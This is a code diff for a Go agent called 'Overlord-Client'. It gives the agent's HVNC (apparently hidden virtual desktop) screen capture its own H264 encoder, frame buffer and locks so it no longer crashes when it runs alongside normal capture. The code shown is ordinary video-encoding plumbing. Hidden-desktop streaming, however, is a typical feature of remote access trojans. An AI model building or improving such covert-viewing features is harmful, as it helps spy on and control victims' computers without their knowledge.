fix crashing issue due to H264 if running at the same time.

Overlord-Client/cmd/agent/capture/capture.go

@@ -418,6 +418,10 @@ var (
 
 	prevMu    sync.Mutex
 	prevFrame *prevImage
+
+	hvncPrevMu       sync.Mutex
+	hvncPrevFrame    *prevImage
+	hvncLastKeyframe atomic.Int64
 )
 
 type prevImage struct {
@@ -713,14 +717,14 @@ func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time
 			codec = "jpeg"
 		} else {
 			if webrtcpub.ConsumeKeyframeRequest() {
-				resetH264Encoder()
+				resetH264EncoderHVNC()
 			}
-			h264Bytes, err := encodeH264Frame(img)
+			h264Bytes, err := encodeH264FrameHVNC(img)
 			if err == nil && len(h264Bytes) > 0 {
-				prevMu.Lock()
+				hvncPrevMu.Lock()
-				copyPrev(img)
+				copyPrevHVNC(img)
-				prevMu.Unlock()
+				hvncPrevMu.Unlock()
-				lastKeyframe.Store(now.UnixNano())
+				hvncLastKeyframe.Store(now.UnixNano())
 				statFullFrames.Add(1)
 				frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "h264", HVNC: true}, Data: h264Bytes}
 				return frame, time.Since(encStart), nil
@@ -737,16 +741,16 @@ func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time
 		}
 	}
 
-	prevMu.Lock()
+	hvncPrevMu.Lock()
-	pf := prevFrame
+	pf := hvncPrevFrame
-	prevMu.Unlock()
+	hvncPrevMu.Unlock()
 
-	if pf == nil || pf.w != width || pf.h != height || now.Sub(time.Unix(0, lastKeyframe.Load())) > keyframeEvery {
+	if pf == nil || pf.w != width || pf.h != height || now.Sub(time.Unix(0, hvncLastKeyframe.Load())) > keyframeEvery {
 		jpegBytes, err := encodeJPEG(img, quality)
-		prevMu.Lock()
+		hvncPrevMu.Lock()
-		copyPrev(img)
+		copyPrevHVNC(img)
-		prevMu.Unlock()
+		hvncPrevMu.Unlock()
-		lastKeyframe.Store(now.UnixNano())
+		hvncLastKeyframe.Store(now.UnixNano())
 		statFullFrames.Add(1)
 		frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "jpeg", HVNC: true}, Data: jpegBytes}
 		return frame, time.Since(encStart), err
@@ -772,10 +776,10 @@ func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time
 
 	if changedRatio > maxBlockRatio {
 		jpegBytes, err := encodeJPEG(img, quality)
-		prevMu.Lock()
+		hvncPrevMu.Lock()
-		copyPrev(img)
+		copyPrevHVNC(img)
-		prevMu.Unlock()
+		hvncPrevMu.Unlock()
-		lastKeyframe.Store(now.UnixNano())
+		hvncLastKeyframe.Store(now.UnixNano())
 		statBlockFallbacks.Add(1)
 		statFullFrames.Add(1)
 		frame := wire.Frame{Type: "frame", Header: wire.FrameHeader{Monitor: display, FPS: 0, Format: "jpeg", HVNC: true}, Data: jpegBytes}
@@ -1315,6 +1319,22 @@ func copyPrev(img *image.RGBA) {
 	}
 }
 
+func copyPrevHVNC(img *image.RGBA) {
+	width := img.Bounds().Dx()
+	height := img.Bounds().Dy()
+	n := len(img.Pix)
+	if hvncPrevFrame != nil && cap(hvncPrevFrame.pix) >= n {
+		hvncPrevFrame.w = width
+		hvncPrevFrame.h = height
+		hvncPrevFrame.pix = hvncPrevFrame.pix[:n]
+		copy(hvncPrevFrame.pix, img.Pix)
+	} else {
+		buf := make([]byte, n)
+		copy(buf, img.Pix)
+		hvncPrevFrame = &prevImage{w: width, h: height, pix: buf}
+	}
+}
+
 func encodeBlockRaw(img *image.RGBA, x, y, w, h int) []byte {
 	stride := img.Stride
 	buf := make([]byte, w*h*4)
@@ -1470,7 +1490,7 @@ func sendBlackFrameHVNC(ctx context.Context, env *rt.Env) error {
 
 	img := image.NewRGBA(image.Rect(0, 0, 64, 64))
 	quality := 60
-	frame, _, err := buildFrame(img, 0, quality)
+	frame, _, err := buildFrameHVNC(img, 0, quality)
 	if err != nil {
 		return err
 	}

Overlord-Client/cmd/agent/capture/h264_encoder_stub.go

@@ -21,4 +21,10 @@ func h264AvailabilityDetail() string {
 
 func resetH264Encoder() {}
 
+func resetH264EncoderHVNC() {}
+
+func encodeH264FrameHVNC(_ *image.RGBA) ([]byte, error) {
+	return nil, errors.New("h264 support not available (cgo disabled)")
+}
+
 func SetH264TargetFPS(_ int) {}

Overlord-Client/cmd/agent/capture/h264_encoder_x264.go

@@ -136,3 +136,88 @@ func closeH264EncoderLocked() {
 	h264FPS = 0
 	h264Buf.Reset()
 }
+
+var (
+	hvncH264Mu      sync.Mutex
+	hvncH264Enc     *x264.Encoder
+	hvncH264Buf     bytes.Buffer
+	hvncH264Width   int
+	hvncH264Height  int
+	hvncH264FPS     int
+	hvncH264Scratch []byte
+)
+
+func encodeH264FrameHVNC(img *image.RGBA) ([]byte, error) {
+	bounds := img.Bounds()
+	width := bounds.Dx()
+	height := bounds.Dy()
+
+	hvncH264Mu.Lock()
+	defer hvncH264Mu.Unlock()
+
+	if err := ensureHVNCH264EncoderLocked(width, height); err != nil {
+		return nil, err
+	}
+
+	hvncH264Buf.Reset()
+	if err := hvncH264Enc.Encode(img); err != nil {
+		return nil, err
+	}
+
+	n := hvncH264Buf.Len()
+	if n == 0 {
+		return nil, nil
+	}
+	if cap(hvncH264Scratch) < n {
+		hvncH264Scratch = make([]byte, n, n+(n/4))
+	} else {
+		hvncH264Scratch = hvncH264Scratch[:n]
+	}
+	copy(hvncH264Scratch, hvncH264Buf.Bytes())
+	return hvncH264Scratch, nil
+}
+
+func resetH264EncoderHVNC() {
+	hvncH264Mu.Lock()
+	defer hvncH264Mu.Unlock()
+	closeHVNCH264EncoderLocked()
+}
+
+func ensureHVNCH264EncoderLocked(width, height int) error {
+	fps := activeH264FPS()
+	if hvncH264Enc != nil && hvncH264Width == width && hvncH264Height == height && hvncH264FPS == fps {
+		return nil
+	}
+	closeHVNCH264EncoderLocked()
+	opts := &x264.Options{
+		Width:        width,
+		Height:       height,
+		FrameRate:    fps,
+		Tune:         "zerolatency",
+		Preset:       "veryfast",
+		Profile:      "main",
+		RateControl:  "crf",
+		RateConstant: 23,
+		LogLevel:     x264.LogError,
+	}
+	enc, err := x264.NewEncoder(&hvncH264Buf, opts)
+	if err != nil {
+		return err
+	}
+	hvncH264Enc = enc
+	hvncH264Width = width
+	hvncH264Height = height
+	hvncH264FPS = fps
+	return nil
+}
+
+func closeHVNCH264EncoderLocked() {
+	if hvncH264Enc != nil {
+		_ = hvncH264Enc.Close()
+		hvncH264Enc = nil
+	}
+	hvncH264Width = 0
+	hvncH264Height = 0
+	hvncH264FPS = 0
+	hvncH264Buf.Reset()
+}